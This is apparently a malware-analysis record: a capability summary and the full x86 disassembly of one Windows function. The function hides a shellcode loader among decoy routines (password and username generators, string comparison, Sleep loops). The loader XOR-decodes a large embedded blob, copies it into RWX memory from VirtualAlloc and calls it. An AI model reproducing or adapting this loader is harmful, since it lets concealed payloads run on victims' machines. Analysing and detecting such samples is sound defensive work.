Function at 0x401250
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push esi
push edi
push 0xc
call ebx
mov edi, eax
add esp, 4
test edi, edi
je 0x4012ff
push 0xc
mov dword [edi], 3
mov dword [edi + 4], 4
call ebx
add esp, 4
mov dword [esp + 0x14], eax
mov dword [edi + 8], eax
test eax, eax
je 0x4012ff
xor esi, esi
push 0x10
call ebx
mov ecx, dword [esp + 0x18]
add esp, 4
mov dword [esi + ecx], eax
test eax, eax
je 0x4012ff
add esi, 4
cmp esi, 0xc
jl 0x401294
push 4
push 3
push str.Table_dimensions:__d_rows_x__d_columns_n
call fcn.00401040
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor esi, esi
add esp, 0xc
cmp dword [edi], esi
jle 0x4012e0
nop dword [eax + eax]
mov eax, dword [edi + 8]
push dword [eax + esi*4]
call ebx
inc esi
add esp, 4
cmp esi, dword [edi]
jl 0x4012d0
push dword [edi + 8]
call ebx
add esp, 4
push edi
call ebx
add esp, 4
push 9
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
jne 0x401314
push str.Memory_allocation_failed._n
call fcn.00401040
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
xor esi, esi
lea ebx, [esi + 0x3e]
nop
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv ebx
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789]
mov byte [esi + edi], al
inc esi
cmp esi, 8
jl 0x401330
push edi
push str.Generated_Password:__s_n
mov byte [edi + 8], 0
call fcn.00401040
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push edi
call ebx
add esp, 0xc
push str.Executing_code..._n
call fcn.00401040
add esp, 4
push 0x40
push 0x1000
push 0x2ae47
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x4013a5
push str.Error_allocating_memory_for_code._n
call fcn.00401040
mov eax, 1
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.hello
call fcn.00401040
mov eax, 4
mov dword [esp + 0x14], 0xa
sub eax, 0x405018
mov esi, 1
mov dword [esp + 0x1c], eax
mov edi, 2
mov ebx, 3
mov eax, 5
add esp, 4
xor ecx, ecx
sub esi, 0x405018
sub edi, 0x405018
sub ebx, 0x405018
sub eax, 0x405018
mov dword [esp + 0x1c], eax
nop dword [eax]
mov eax, ecx
cdq
idiv dword [esp + 0x10]
movzx eax, byte [edx + str.2021_11_21]
xor byte [ecx + 0x405018], al
lea eax, [esi + 0x405018]
add eax, ecx
cdq
idiv dword [esp + 0x10]
movzx eax, byte [edx + str.2021_11_21]
xor byte [ecx + 0x405019], al
lea eax, [edi + 0x405018]
add eax, ecx
cdq
idiv dword [esp + 0x10]
movzx eax, byte [edx + str.2021_11_21]
xor byte [ecx + 0x40501a], al
lea eax, [ebx + 0x405018]
add eax, ecx
cdq
idiv dword [esp + 0x10]
movzx eax, byte [edx + str.2021_11_21]
xor byte [ecx + 0x40501b], al
mov eax, dword [esp + 0x18]
lea eax, [eax + 0x405018]
add eax, ecx
cdq
idiv dword [esp + 0x10]
movzx eax, byte [edx + str.2021_11_21]
xor byte [ecx + 0x40501c], al
mov eax, dword [esp + 0x1c]
lea eax, [eax + 0x405018]
add eax, ecx
cdq
idiv dword [esp + 0x10]
movzx eax, byte [edx + str.2021_11_21]
xor byte [ecx + 0x40501d], al
add ecx, 6
cmp ecx, 0x2ae46
jb 0x401400
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push 0
call ebx
mov al, byte [esi + 0x405018]
add al, 3
push esi
push 0x403344
mov byte [esi + 0x45b010], al
call fcn.00401040
inc esi
add esp, 8
cmp esi, 0x2ae47
jb 0x4014b5
push 0x42
call fcn.004010c0
add esp, 4
mov esi, 0x31
nop dword [eax]
push 0
call ebx
sub esi, 1
jne 0x4014f0
nop dword [eax]
mov eax, esi
imul eax, esi
push eax
push 0x403348
call fcn.00401040
inc esi
add esp, 8
cmp esi, 0x64
jl 0x401500
push 0x2ae47
push 0x2ae47
push 0x2ae47
push str._d__d__d
call fcn.00401040
add esp, 0x10
xor esi, esi
push 0
call ebx
mov al, byte [esi + 0x45b010]
sub al, 3
push esi
push 0x403344
mov byte [esi + 0x4301c8], al
call fcn.00401040
inc esi
add esp, 8
cmp esi, 0x2ae47
jb 0x401537
push 0x403358
call fcn.00401040
add esp, 4
push 0x2ae47
push 0x2ae47
push 0x2ae47
push str._d__d__d
call fcn.00401040
push str.Generated_usernames:_n
call fcn.00401040
add esp, 0x14
mov dword [esp + 0x10], 0
nop dword [eax + eax]
push 9
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x4012ff
xor esi, esi
lea ebx, [esi + 0x3e]
nop word [eax + eax]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor edx, edx
div ebx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [esi + edi], al
inc esi
cmp esi, 8
jl 0x4015c0
push edi
push 0x403374
mov byte [edi + 8], 0
call fcn.00401040
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call edi
mov esi, dword [esp + 0x1c]
add esp, 0xc
inc esi
mov dword [esp + 0x10], esi
cmp esi, 0xb
jl 0x4015a0
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
push str.Generated_Dates:_n
call fcn.00401040
add esp, 4
mov ebx, 0xc
nop dword [eax]
call fcn.00401150
mov esi, eax
push esi
push 0x403374
call fcn.00401040
push esi
call edi
add esp, 0xc
sub ebx, 1
jne 0x401630
call fcn.00401150
mov esi, eax
call fcn.00401150
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edi, eax
call esi
add esp, 4
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 1
call ebx
push 0x4b
call fcn.004010c0
add esp, 4
push 0x2ae47
push 0x405018
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x403138
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4016c4
push str.Error:_Could_not_get_the_module_handle_for_kernel32.dll_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
jmp 0x4016e4
push str.GetTickCount
push eax
call edi
test eax, eax
jne 0x4016d7
push str.Error:_Could_not_find_the_GetTickCount_function_in_kernel32.dll_n
jmp 0x4016b1
call eax
push eax
push str.Milliseconds_since_system_start:__lu_n
call fcn.00401040
add esp, 8
xor esi, esi
nop dword [eax]
push 0
call ebx
mov eax, esi
imul eax, esi
push eax
push 0x403348
call fcn.00401040
inc esi
add esp, 8
cmp esi, 0x3e8
jl 0x4016f0
push 0x403138
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x401738
push str.Failed_to_load_kernel32.dll._n
call fcn.00401040
mov eax, 1
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.CompareStringW
push eax
call edi
test eax, eax
jne 0x40175d
push str.Failed_to_get_the_function_pointer._n
call fcn.00401040
mov eax, 1
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push str.banana
push 0xffffffffffffffff
push str.apple
push 0
push 0x400
call eax
cmp eax, 2
jne 0x401788
push str.The_strings_are_equal._n
call fcn.00401040
add esp, 4
jmp 0x4017c4
cmp eax, 1
jne 0x40179c
push str.The_first_string_is_less_than_the_second._n
call fcn.00401040
add esp, 4
jmp 0x4017c4
cmp eax, 3
jne 0x4017b0
push str.The_first_string_is_greater_than_the_second._n
call fcn.00401040
add esp, 4
jmp 0x4017c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Comparison_failed_with_error_code:__d_n
call fcn.00401040
add esp, 8
mov ebx, dword [esp + 0x14]
call ebx
push str.code_execution_complete._n
call fcn.00401040
add esp, 4
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret